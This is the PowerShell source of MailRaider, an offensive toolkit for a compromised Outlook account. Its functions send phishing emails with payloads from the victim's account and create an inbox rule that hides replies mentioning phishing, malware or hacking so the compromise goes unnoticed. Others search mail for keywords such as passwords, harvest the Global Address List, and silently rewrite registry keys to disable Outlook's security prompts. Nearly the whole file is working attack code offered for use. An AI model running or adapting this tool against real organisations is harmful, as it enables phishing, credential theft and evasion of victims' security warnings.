#requires -version 2

<#


MailRaider v0.1

by @xorrior

#>

function Invoke-SendMail {
    <#
    .SYNOPSIS
    This function sends emails using a custom or default template to specified target email addresses.

    .DESCRIPTION
    This function sends a specified number of phishing emails to a specific email address or a target list. A payload or URL can be included in the email. The E-Mail will be constructed based on a
    template or by specifying the Subject and Body of the email.

    .PARAMETER Targets
    Array of target email addresses. If Targets or TargetList parameter are not specified, a list of 100 email addresses will be randomly selected from the Global Address List.

    .PARAMETER TargetList
    List of email addresses read from a file. If Targets or TargetList parameter are not specified, a list of 100 email addresses will be randomly selected from the Global Address List.

    .PARAMETER URL
    URL to include in the email

    .PARAMETER Attachment
    Full path to the file to use as a payload

    .PARAMETER Template
    Full path to the template html file

    .PARAMETER Subject
    Subject of the email

    .PARAMETER Body
    Body of the email

    .EXAMPLE

    Invoke-SendMail -Targets $Emails -URL "http://bigorg.com/projections.xls" -Subject "Hi" -Body "Please check this <a href='URL'>link</a> out!"

    Send phishing email to the array of target email addresses with an embedded url.

    .EXAMPLE

    Invoke-SendMail -TargetList .\Targets.txt -Attachment .\Notice.rtf -Template .\Phish.html

    Send phishing email to the list of addresses from file and include the specified attachment.

    #>

    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $False, Position = 0, ValueFromPipeline = $True)]
        [string[]]$Targets,

        [Parameter(Mandatory = $False, Position = 1)]
        [string]$TargetList,

        [Parameter(Mandatory = $False, Position = 2)]
        [string]$URL,

        [Parameter(Mandatory = $False, Position = 3)]
        [string]$Attachment,

        [Parameter(Mandatory = $False, Position = 4)]
        [String]$Template,

        [Parameter(Mandatory = $False, Position = 5)]
        [string]$Subject,

        [Parameter(Mandatory = $False, Position = 6)]
        [String]$Body

    )



    #check for a target list file or the targets parameter
    if($TargetList){
        if(!(Test-Path $TargetList)){
            Throw "Not a valid file path for E-Mail TargetList"
        }
        $TargetEmails = Get-Content $TargetList
    }
    elseif($Targets){
        $TargetEmails = $Targets
    }

    #check if a template is being used
    if($Template){
        if(!(Test-Path $Template)){
            Throw "Not a valid file path for E-mail template"
        }
        $EmailBody = Get-Content -Path $Template
        $EmailSubject = $Subject
    }
    elseif($Subject -and $Body){
        $EmailSubject = $Subject
        $EmailBody = $Body
    }
    else {
        Throw "No email Subject and/or Body specified"
    }

    #Check for a url to embed
    if($URL){
        $EmailBody = $EmailBody.Replace("URL",$URL)
    }

    #Read the Outlook signature locally if available
    $appdatapath = $env:appdata
    $sigpath = $appdatapath + "\Microsoft\Signatures\*.htm"

    if(Test-Path $sigpath){
        $Signature = Get-Content -Path $sigpath
    }



    #Create Outlook rule to automatically sends emails pertaining to phishing emails to deleted items folder
    Invoke-Rule -Subject $Subject -RuleName "RaiderIn"

    #Iterate through the list, craft the emails, and then send it off.
    ForEach($Target in $TargetEmails){

        $Outlook = Get-OutlookInstance
        $Email = $Outlook.CreateItem(0)
        #If there was an attachment, include it with the email
        if($Attachment){
            $($Email.Attachment).Add($Attachment)
        }
        $Email.HTMLBody = "$EmailBody"
        $Email.Subject = $EmailSubject
        $Email.To = $Target

        #if there is a signature, add it to the email
        if($Signature){
            $Email.HTMLBody += "`n`n" + "$Signature"
        }
        $Email.Send()
        Write-Verbose "Sent Email to $Target"

        [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null
    }



}


function Invoke-Rule {

    <#
    .SYNOPSIS
    This function enables an Outlook rule where all received mail items, that match the specified subject flags, will be sent to the deleted items folder

    .DESCRIPTION
    This function takes the subject string and other flagged words and applies them to a received items Outlook rule. Any items that match this rule will be
    sent to the deleted items folder. This allows for the account to be used in phishing for a longer period of time without detection.

    .PARAMETER Subject
    The subject string to use in the rule

    .LINK

    https://social.technet.microsoft.com/forums/windowsserver/en-US/6b25cbd2-2bff-4820-ab53-796e306066eb/defining-custom-outlook-rules-using-powershell
    #>

    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $False, Position = 0)]
        [string]$Subject,

        [Parameter(Mandatory = $False, Position = 1)]
        [string]$RuleName,

        [Parameter(Mandatory = $False, Position = 2)]
        [System.__ComObject]$Outlook,

        [Parameter(Mandatory = $False)]
        [switch]$Disable
    )

    $flags = @()
    $flags = $Subject.Split(" ")
    $flags += "hacked"
    $flags += "malware"
    $flags += "phishing"
    $flags += "virus"

    If(!($Outlook)){

        $Outlook = Get-OutlookInstance
        $MAPI = $Outlook.GetNamespace('MAPI')

    }

    if($Disable){
        $rule = ($($Outlook.session).DefaultStore).GetRules() | Where-Object {$_.Name -eq $RuleName}
        $rule.enabled = $False
    }
    else{

        #Check if the Rule has already been created
        $rule = ($($Outlook.session).DefaultStore).GetRules() | Where-Object {(!(Compare-Object $($_.Conditions.Subject).Text $flags))}
        if(!($rule)){
            #Load the assembly for Outlook objects
            Add-Type -AssemblyName Microsoft.Office.Interop.Outlook | Out-Null
            #$MAPI = $Outlook.GetNamespace('MAPI')
            $inbox = Get-OutlookFolder -Name "Inbox"
            $DeletedFolder = Get-OutlookFolder -Name "DeletedItems"
            #Retrieve all Outlook rules
            $rules = $MAPI.DefaultStore.GetRules()
            $rule = $rules.create($RuleName, [Microsoft.Office.Interop.Outlook.OlRuleType]::OlRuleReceive)

            $SubText = $rule.Conditions.Subject
            $SubText.Enabled = $true
            #Set the matching strings in the email subject to our flags array
            $SubText.Text = $flags
            $action = $rule.Actions.MoveToFolder
            $action.enabled = $true
            [Microsoft.Office.Interop.Outlook._MoveOrCopyRuleAction].InvokeMember(
                "Folder",
                [System.Reflection.BindingFlags]::SetProperty,
                $null,
                $action,
                $DeletedFolder)
            #Save and enable the rule
            try {
                $rules.Save()
                Write-Verbose "Saved Outlook Rule with name: $Rulename"
            }
            catch {
                Write-Warning "Unable to save inbound rule with name: $RuleName"
            }
        }

    }


    [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null


}

function Get-OSVersion {

    <#
    .SYNOPSIS
    Determines the Operating System version of the host

    .Example
    Check-OSVersion

    #>

    #function to grab the major and minor verions to determine the OS.
    Write-Verbose "Detecting OS..."
    $OS = [environment]::OSVersion.Version


    if($OS.Major -eq 10){
        $OSVersion = "Windows 10"
    }

    #if the major version is 6, the OS can be from Vista to Windows 8.1
    if($OS.Major -eq 6){
        switch ($OS.Minor){
            3 {$OSVersion = "Windows 8.1/Server 2012 R2"}
            2 {$OSVersion = "Windows 8/Server 2012"}
            1 {$OSVersion = "Windows 7/Server 2008 R2"}
            0 {$OSVersion = "Windows Vista/Server 2008"}
        }
    }
    if($OS.Major -eq 5){
        switch ($OS.Minor){
            2 {$OSVersion = "Windows XP/Server 2003 R2"}
            1 {$OSVersion = "Windows XP"}
            0 {$OSVersion = "Windows 2000"}

        }
    }

    Write-Verbose "Checking the bitness of the OS"
    if((Get-WmiObject -class win32_operatingsystem).OSArchitecture -eq "64-bit"){
        $OSArch = 64
    }
    else{
        $OSArch = 32
    }
    $OSVersion
    $OSArch
}

function Select-EmailItem {
    <#
    .SYNOPSIS
    This function selects an Email Item according to an index and displays it

    .PARAMETER Index
    The index of the Email item to display. Defaults to 0.

    .EXAMPLE

    Select-EmailItem -Index 5

    Display Email Item 5 in the current folder.

    #>

    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $False, ValueFromPipeline = $True)]
        [System.__ComObject]$FolderObj,

        [Parameter(Mandatory = $True)]
        [int]$Num
    )

    $EmailItem = $FolderObj.Items | Select-Object -Index $Num

    $EmailItem | Select-Object To,SenderName,SenderEmailAddress,Subject,Body,SentOn,ReceivedTime

}


function View-Email {
    <#
    .SYNOPSIS
    This function selects the specified folder and then outputs the email item at the specified index

    .PARAMETER FolderName
    The Name of the Outlook Default Folder.

    .PARAMETER Index
    Index of the Email item within the selected folder to display. The index default is 0.

    .EXAMPLE

    View-Email -FolderName "Inbox"

    Select the olFolderInbox folder and view the first email.

    #>

    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $True, Position = 0)]
        [string]$FolderName,

        [Parameter(Mandatory = $False, Position = 1)]
        [int]$Index = 0
    )


    $OF = Get-OutlookFolder -Name $FolderName
    Select-EmailItem -FolderObj $OF -Num $Index
}

function Get-OutlookFolder {
    <#
    .SYNOPSIS
    This functions returns one of the Outlook top-level, default folders

    .PARAMETER Name
    Name of the desired folder. Default name is Inbox.

    .EXAMPLE
    Get-OutlookFolder -Name "Inbox"

    #>

    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $True, Position = 0)]
        [String]$Name
    )

    $OlDefaultFolders = @{
        "olFolderCalendar" = 9
        "olFolderConflicts" = 19
        "olFolderContacts" = 10
        "olFolderDeletedItems" = 3
        "olFolderDrafts" = 16
        "olFolderInbox" = 6
        "olFolderJournal" = 11
        "olFolderJunk" = 23
        "olFolderLocalFailures" = 21
        "olFolderManageEmail" = 29
        "olFolderNotes" = 12
        "olFolderOutbox" = 4
        "olFolderSentMail" = 5
        "olFolderServerFailures" = 22
        "olFolderSuggestedContacts" = 30
        "olFolderSyncIssues" = 20
        "olFolderTasks" = 13
        "olFolderToDo" = 28
        "olPublicFoldersAllPublicFolders" = 18
        "olFolderRssFeeds" = 25
    }



    $DefaultFolderName = "olFolder$Name"

    $Value = $OlDefaultFolders.Item($DefaultFolderName)

    $Outlook = Get-OutlookInstance

    $MAPI = $Outlook.GetNamespace('MAPI')

    $FolderObj =  $MAPI.GetDefaultFolder($Value)

    Write-Verbose "Obtained Folder Object"

    [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null

    $FolderObj

}

function Get-EmailItems {
    <#
    .SYNOPSIS
    This function returns all of the items for the specified folder

    .PARAMETER Folder
    System.__ComObject for the Top Level folder

    .PARAMETER MaxEmails
    Maximum number of emails to grab

    .PARAMETER Full
    Return the Full mail item object

    .EXAMPLE
    Get-EmailItems -Folder $Inbox

    #>

    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)]
        [System.__ComObject]$Folder,

        [Parameter(Mandatory = $False, Position = 1)]
        [int]$MaxEmails,

        [Parameter(Mandatory = $False)]
        [switch]$FullObject
    )


    if($MaxEmails){
        Write-Verbose "Selecting the first $MaxEmails emails"
        $Items = $Folder.Items | Select-Object -First $MaxEmails
    }
    else{
        Write-Verbose "Selecting all emails"
        $Items = $Folder.Items
    }

    if(!($FullObject)){
        $Emails = @()
        Write-Verbose "Creating custom Email item objects..."
        $Items | ForEach {

            $Email = New-Object PSObject -Property @{
                To = $_.To
                FromName = $_.SenderName
                FromAddress = $_.SenderEmailAddress
                Subject = $_.Subject
                Body = $_.Body
                TimeSent = $_.SentOn
                TimeReceived = $_.ReceivedTime

            }

            $Emails += $Email
            $Emails = $Emails | Sort-Object -Property TimeSent -Descending

        }
    }
    else{
        Write-Verbose "Obtained full Email Item objects...."
        $Emails = $Items | Sort-Object -Property SentOn -Descending
    }


    $Emails


}

function Invoke-MailSearch {

    <#
    .SYNOPSIS
    This function searches the given Outlook folder for items (Emails, Contacts, Tasks, Notes, etc. *Depending on the folder*) and returns
    any matches found.

    .DESCRIPTION
    This function searches the given Outlook folder for items containing the specified keywords and returns any matches found.

    .PARAMETER DefaultFolder
    Folder to search in. Default is the Inbox.

    .PARAMETER Keywords
    Keyword/s to search for.

    .PARAMETER MaxResults
    Maximum number of results to return.

    .PARAMETER MaxSearch
    Maximum number of emails to search through

    .PARAMETER MaxThreads
    Maximum number of threads to use when searching

    .PARAMETER File
    Path to results file

    .EXAMPLE
    Invoke-MailSearch -Keyword "password" -MaxResults 20 -MaxThreads 30

    Conduct a search on the Inbox with admin and password specified as keywords. Return a maximum of 20 results.

    #>

    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $True)]
        [string]$DefaultFolder,

        [Parameter(Mandatory = $True)]
        [string[]]$Keywords,

        [Parameter(Mandatory = $False)]
        [int]$MaxResults,

        [Parameter(Mandatory = $True)]
        [int]$MaxThreads = 15,

        [Parameter(Mandatory = $False)]
        [int]$MaxSearch,

        [Parameter(Mandatory = $False)]
        [string]$File
    )

    #Variable to hold the results
    $ResultsList = @()


    $SearchEmailBlock = {

        param($Regex, $MailItem)
        $Subject = $MailItem.Subject
        $Body = $MailItem.Body

        if(($($Regex.Match($Subject)).Success) -or ($($Regex.Match($Body)).Success)){
            $MailItem
        }
    }


    $OF = Get-OutlookFolder -Name $DefaultFolder

    if($MaxSearch){
        $Emails = Get-EmailItems -Folder $OF -FullObject -MaxEmails $MaxSearch
    }
    else {
        $Emails = Get-EmailItems -Folder $OF -FullObject
    }

    #Create regex for keywords
    if($Keywords.Count -gt 1){
        $count = $Keywords.Count - 2
        for($i = 0; $i -lt $count; $i++){
            $Keywords[$i] += "|"
        }

        [string]$Keywords = $Keywords -join ''
        $Keywords = "\b($Keywords)\b"

    }
    else {
        $Keywords =  "\b($Keywords)\b"
    }

    $Regex = [regex]$Keywords


    Write-Verbose "[*] Searching through $($Emails.count) emails....."


    #All of this multithreading magic is taken directly from harmj0y and his child, powerview
    #https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1#L5672
    $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
    $sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()

    #Get all the current variables for this runspace
    $MyVars = Get-Variable -Scope 1

    $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumfunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true")

    #Add the variables from the current runspace to the new runspace
    ForEach($Var in $MyVars){
        if($VorbiddenVars -notcontains $Var.Name){
            $sessionState.Variables.Add((New-Object -Typename System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
        }
    }


    Write-Verbose "Creating RunSpace Pool"
    $pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host)
    $pool.Open()

    $jobs = @()
    $ps = @()
    $wait = @()

    $counter = 0
    $MsgCount = 1

    ForEach($Msg in $Emails){

        Write-Verbose "Searching Email # $MsgCount/$($Emails.count)"

        while ($($pool.GetAvailableRunSpaces()) -le 0){

            Start-Sleep -Milliseconds 500

        }

        $ps += [powershell]::create()

        $ps[$counter].runspacepool = $pool

        [void]$ps[$counter].AddScript($SearchEmailBlock).AddParameter('Regex', $Regex).AddParameter('MailItem', $Msg)

        $jobs += $ps[$counter].BeginInvoke();

        $wait += $jobs[$counter].AsyncWaitHandle

        $counter = $counter + 1
        $MsgCount = $MsgCount + 1

    }

    $waitTimeout = Get-Date

    while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) {
        Start-Sleep -Milliseconds 500
    }

    for ($x = 0; $x -lt $counter; $x++){

        try {

            $result = $ps[$x].EndInvoke($jobs[$x])
            if($result){
                $ResultsList += $result
            }

        }
        catch {
            Write-Warning "error: $_"
        }

        finally {

            $ps[$x].Dispose()
        }
    }

    $pool.Dispose()



    If($MaxResults){
        $ResultsList = $ResultsList | Select-Object -First $MaxResults
    }

    If($File){

        $ResultsList | Select-Object SenderName,SenderEmailAddress,ReceivedTime,To,Subject,Body | Out-File $File

    }
    else {
        $ResultsList | Select-Object SenderName,SenderEmailAddress,ReceivedTime,To,Subject,Body

    }

}

function Get-SubFolders {
    <#
    .SYNOPSIS
    This function returns a list of all the folders in the specified top level folder.

    .PARAMETER DefaultFolder
    Name of the top-level folder to retrieve a list of folders from.

    .PARAMETER FullObject
    Return the full folder object instead of just the name

    .EXAMPLE
    Get-SubFolders -FolderName "SentMail"

    Get a list of folders and sub-folders from the sentmail box.
    #>


    [CmdletBinding()]
    param(
        [parameter(Mandatory = $False, Position = 0)]
        [string]$DefaultFolder,

        [parameter(Mandatory = $False)]
        [switch]$FullObject
    )

    $SubFolders = (Get-OutlookFolder -Name $DefaultFolder).Folders

    If(!($SubFolders)){
        Throw "No subfolders were found for folder: $($Folder.Name)"
    }

    if(!($FullObject)){
        $SubFolders = $SubFolders | ForEach {$_.Name}
    }

    $SubFolders

}

function Get-GlobalAddressList {
    <#
    .SYNOPSIS
    This function returns an array of Contact objects from a Global Address List object.

    .PARAMETER Outlook
    The MAPI namespace object for Outlook

    .EXAMPLE

    Get-GlobalAddressList -MAPI $MAPI

    Return the GAL for the MAPI namespace

    #>

    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $False)]
        [System.__ComObject]$MAPI
    )

    if(!($MAPI)){

        $Outlook = Get-OutlookInstance
        $MAPI = $Outlook.GetNamespace('MAPI')
    }

    $GAL = $MAPI.GetGlobalAddressList()

    $GAL = $GAL.AddressEntries

    $GAL
}

function Invoke-SearchGAL {

    <#
    .SYNOPSIS
    This function returns any users that match the exchange criteria specified.

    .DESCRIPTION
    This fuction returns any exchange users that match the specified search criteria. Searchable fields are FirstName, LastName, JobTitle, Email-Address, and Department

    .PARAMETER FullName
    Full Name to search for

    .PARAMETER JobTitle
    Job Title to search for

    .PARAMETER  Email
    E-Mail Address to search for

    .PARAMETER  Dept
    Department to search for

    .PARAMETER MaxThreads
    The maximum number of threads to use when searching. The default is set to 15.

    .EXAMPLE

    Invoke-SearchGAL -JobTitle "System Administrator" -MaxThreads 30

    Search the GAL with 30 threads, for any Exchange Users with the JobTitle "System Administrator".


    #>

    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $True, ParameterSetName = "Name", Position = 0)]
        [string]$FullName,

        [Parameter(Mandatory = $True, ParameterSetName = "JobTitle", Position = 1)]
        [string]$JobTitle,

        [Parameter(Mandatory = $True, ParameterSetName = "Email", Position = 2)]
        [string]$Email,

        [Parameter(Mandatory = $True, ParameterSetName = "Department", Position = 3)]
        [string]$Dept,

        [Parameter(Mandatory = $False, Position = 4)]
        [int]$MaxThreads = 15
    )


    $Outlook = Get-OutlookInstance

    $MAPI = $Outlook.GetNamespace("MAPI")

    $GAL = Get-GlobalAddressList -MAPI $MAPI

    $UserList = @()

    ForEach($Entry in $GAL){
        $UserList += $Entry.GetExchangeUser()
    }

    $GAL = $UserList

    #$User = $GAL | Where-Object {($($_.GetExchangeUser()).FirstName -eq $FirstName) -and ($($_.GetExchangeUser()).LastName -eq $LastName)}

    $SearchScript = {
        param($Regex,$Type,$User)

        if($Regex.Match($($User.$Type)).Success){
            $User
        }
    }


    if($PSCmdlet.ParameterSetName -eq "Name"){
        $Type = "Name"
        $Term = $FullName
    }
    elseif($PSCmdlet.ParameterSetName -eq "JobTitle"){
        $Type = "JobTitle"
        $Term = $JobTitle
    }
    elseif($PSCmdlet.ParameterSetName -eq "Email"){
        $Type = "PrimarySMTPAddress"
        $Term = $Email
    }
    else {
        $Type = "Department"
        $Term = $Dept
    }

    $Regex = [regex]"\b($Term)\b"
    #All of this multithreading magic is taken directly from harmj0y and his child, powerview
    #https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1#L5672
    $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
    $sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()

    #Get all the current variables for this runspace
    $MyVars = Get-Variable -Scope 1

    $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumfunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true")

    #Add the variables from the current runspace to the new runspace
    ForEach($Var in $MyVars){
        if($VorbiddenVars -notcontains $Var.Name){
            $sessionState.Variables.Add((New-Object -Typename System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
        }
    }


    Write-Verbose "Creating RunSpace Pool"
    $pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host)
    $pool.Open()

    $jobs = @()
    $ps = @()
    $wait = @()

    $counter = 0
    $AddressCount = 1

    Write-Verbose "The SearchString is $Term"

    ForEach($User in $GAL){

        Write-Verbose "Searching the through ($AddressCount/$($GAL.Count) address entries...."

        while ($($pool.GetAvailableRunSpaces()) -le 0){

            Start-Sleep -Milliseconds 500

        }

        $ps += [powershell]::create()

        $ps[$counter].runspacepool = $pool
        #Write-Verbose "Adding $SearchScript"
        [void]$ps[$counter].AddScript($SearchScript).AddParameter('Regex', $Regex).AddParameter('Type',$Type).AddParameter('User', $User)

        $jobs += $ps[$counter].BeginInvoke();

        $wait += $jobs[$counter].AsyncWaitHandle

        $counter = $counter + 1
        $AddressCount = $AddressCount + 1

    }

    $waitTimeout = Get-Date

    while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) {
        Start-Sleep -Milliseconds 500
    }

    for ($x = 0; $x -lt $counter; $x++){

        try {

            $result = $ps[$x].EndInvoke($jobs[$x])
            if($result){
                $ResultsList += $result
            }

        }
        catch {
            Write-Warning "error: $_"
        }

        finally {

            $ps[$x].Dispose()
        }
    }

    $pool.Dispose()

    $ResultsList

    [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null


}

function Get-SMTPAddress {
    <#
    .SYNOPSIS
    Gets the PrimarySMTPAddress of a user.

    .DESCRIPTION
    This function returns the PrimarySMTPAddress of a user via the ExchangeUser object.

    .PARAMETER FullName
    First and Last name of the user separated by a space.

    .OUTPUTS
    System.String . Primary email address of the user.

    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $False, Position = 0, ValueFromPipeline = $True)]
        [string[]]$FullNames
    )

    $Outlook = Get-OutlookInstance
    $MAPI = $Outlook.GetNamespace('MAPI')
    #Grab the GAL
    $GAL = Get-GlobalAddressList -MAPI $MAPI

    #If the full name is given, try to obtain the exchange user object

    $PrimarySMTPAddresses = @()
    If($FullNames){
        ForEach($Name in $FullNames){
            try{
                $regex = [regex]"\b($Name)\b"
                $User = $GAL | Where-Object {$_.Name -Match $regex}
            }
            catch {
                Write-Warning "Unable to obtain exchange user object with the name: $Name"
            }
            $PrimarySMTPAddresses += $($User.GetExchangeuser()).PrimarySMTPAddress
        }
    }
    else {
        try {
            $($($($Outlook.Session).CurrentUser).AddressEntry).GetExchangeUser().PrimarySMTPAddress
        }
        catch {
            Throw "Unable to obtain PrimarySMTPAddress for the current user"
        }
    }

    [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null

    $PrimarySMTPAddresses

}

function Disable-SecuritySettings {

    <#
    .SYNOPSIS
    This function checks for the existence of the Outlook security registry keys ObjectModelGuard, PromptOOMSend, and AdminSecurityMode. If
    the keys exist, overwrite with the appropriate values to disable to security prompt for programmatic access.

    .DESCRIPTION
    This function checks for the ObjectModelGuard, PromptOOMSend, and AdminSecurityMode registry keys for Outlook security. This function must be
    run in an administrative context in order to set the values for the registry keys.

    .PARAMETER Version
    The version of microsoft outlook. This is pertinent to the location of the registry keys.

    .EXAMPLE
    Disable-SecuritySettings -Version 15

    #>

    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $False)]
        [string]$AdminUser,

        [Parameter(Mandatory = $False)]
        [string]$AdminPassword,

        [parameter(Mandatory = $True)]
        [string]$Version
    )

    $count = 0

    #Check AV to see if it's up to date.
    $AV = Get-WmiObject -namespace root\SecurityCenter2 -class Antivirusproduct
    if($AV){
        $AVstate = $AV.productState
        $statuscode = '{0:X6}' -f $AVstate
        $wscupdated = $statuscode[4,5] -join '' -as [byte]
        if($wscupdated -eq  (00 -as [byte]))
        {
            Write-Verbose "AV is up to date"
            $AVUpdated = $True
        }
        elseif($wscupdated -eq (10 -as [byte])){
            Write-Verbose "AV is not up to date"
            $AVUpdated = $False
        }
        else{
            Write-Verbose "Unable to determine AV status"
            $AVUpdated = $False
        }
    }
    else{
        Write-Verbose "AV not installed"
        $AVUpdated = $False
    }


    $LMSecurityKey = "HKLM:\SOFTWARE\Microsoft\Office\$Version\outlook\Security"

    $CUSecurityKey = "HKCU:\SOFTWARE\Policies\Microsoft\Office\$Version\outlook\security"

    $ObjectModelGuard = "ObjectModelGuard"
    $PromptOOMSend = "PromptOOMSend"
    $AdminSecurityMode = "AdminSecurityMode"

    $cmd = " "

    if(!(Test-Path $LMSecurityKey)){
        #if the key does not exists, create or update the appropriate reg keys values.
        $cmd = "New-Item $LMSecurityKey -Force; "
        $cmd += "New-ItemProperty $LMSecurityKey -Name ObjectModelGuard -Value 2 -PropertyType DWORD -Force; "


    }
    else{

        $currentValue = (Get-ItemProperty $LMSecurityKey -Name ObjectModelGuard -ErrorAction SilentlyContinue).ObjectModelGuard
        if($currentValue -and ($currentValue -ne 2)){

            $cmd = "Set-ItemProperty $LMSecurityKey -Name ObjectModelGuard -Value 2 -Force; "
        }
        elseif(!($currentValue)) {
            $cmd = "New-ItemProperty $LMSecurityKey -Name ObjectModelGuard -Value 2 -PropertyType DWORD -Force; "
        }


    }
    if(!(Test-Path $CUSecurityKey)){

        $cmd += "New-Item $CUSecurityKey -Force; "
        $cmd += "New-ItemProperty $CUSecurityKey -Name PromptOOMSend -Value 2 -PropertyType DWORD -Force; "
        $cmd += "New-ItemProperty $CUSecurityKey -Name AdminSecurityMode -Value 3 -PropertyType DWORD -Force; "

    }
    else{
        $currentValue = (Get-ItemProperty $CUSecurityKey -Name PromptOOMSend -ErrorAction SilentlyContinue).PromptOOMSend
        if($currentValue -and ($currentValue -ne 2)){

            $cmd += "Set-ItemProperty $CUSecurityKey -Name PromptOOMSend -Value 2 -Force; "

        }
        elseif(!($currentValue)) {
             $cmd += "New-ItemProperty $CUSecurityKey -Name PromptOOMSend -Value 2 -PropertyType DWORD -Force; "
        }

        $currentValue = (Get-ItemProperty $CUSecurityKey -Name AdminSecurityMode -ErrorAction SilentlyContinue).AdminSecurityMode
        if($currentValue -and ($currentValue -ne 3)){

            $cmd += "Set-ItemProperty $CUSecurityKey -Name AdminSecurityMode -Value 3 -Force"

        }
        elseif(!($currentValue)) {
            $cmd += "New-ItemProperty $CUSecurityKey -Name AdminSecurityMode -Value 3 -PropertyType DWORD -Force"
        }

    }

    if($AdminUser -and $AdminPassword){

        #If creds are given start a new powershell process and run the commands. Unable to use the Credential parameter with
        $pw = ConvertTo-SecureString $AdminPassword -asplaintext -Force
        $creds = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $AdminUser,$pw
        $WD = 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\'
        $Arg = " -WindowStyle hidden -Command $cmd"
        Start-Process "powershell.exe" -WorkingDirectory $WD -Credential $creds -ArgumentList $Arg
        $count += 1


    }
    else{

        #Start-Process powershell.exe -WindowStyle hidden -ArgumentList $cmd
        if($cmd){
            try {
                Invoke-Expression $cmd
            }
            catch {
                Throw "Unable to change registry settings to disable security prompt"
            }
        }
        $count += 1

    }


    if($count -eq 1){
        Write-Verbose "Success"
    }
    elseif($count -eq 0){
        Write-Verbose "Disable-SecuritySettings Failed"
    }

}

#Under-Construction
function Reset-SecuritySettings {
    <#

    .SYNOPSIS
    This function resets all of the registry keys to their original state

    .PARAMETER AdminUser
    Administrative user

    .PARAMETER AdminPass
    Password of administrative user

    .EXAMPLE
    Reset-SecuritySettings

    #>

    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $False)]
        [string]$AdminUser,

        [Parameter(Mandatory = $False)]
        [string]$AdminPass,

        [Parameter(Mandatory = $True)]
        [string]$Version
    )


    $LMSecurityKey = "HKLM:\SOFTWARE\Microsoft\Office\$Version\Outlook\Security"

    $CUSecurityKey = "HKCU:\SOFTWARE\Policies\Microsoft\Office\$Version\outlook\security"



    #if the old value exists, that means the registry key was set and not created.
    if(Test-Path $LMSecurityKey){
        #If the key exists, remove it.
        $cmd = "Remove-ItemProperty -Path $LMSecurityKey -Name ObjectModelGuard -Force;"
    }

    if(Test-Path $CUSecurityKey){

        $cmd += "Remove-ItemProperty -Path $CUSecurityKey -Name PromptOOMSend -Force;"
        $cmd += "Remove-ItemProperty -Path $CUSecurityKey -Name AdminSecurityMode -Force"

    }

    if($AdminUser -and $AdminPass){

        $pw = ConvertTo-SecureString $AdminPass -asplaintext -Force
        $creds = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $AdminUser,$pw
        $WD = 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\'
        $Arg = " -WindowStyle hidden -Command $cmd"
        Start-Process powershell.exe -WorkingDirectory $WD -Credential $creds -ArgumentList $Arg
    }
    else {
        try {
            Invoke-Expression $cmd
        }
        catch {
            Throw "Unable to reset registry keys"
        }
    }

}


function Get-OutlookInstance {
    <#
    .SYNOPSIS
    Get an instance of Outlook. This function must be executed in the same user context of the Outlook application.

    .EXAMPLE
    Get-OutlookInstance

    Get an instance of Outlook

    #>
    try {
        $Outlook = New-Object -ComObject "Outlook.Application"
    }
    catch {
        Throw "Unable to open Outlook ComObject"
    }


    $Outlook


}
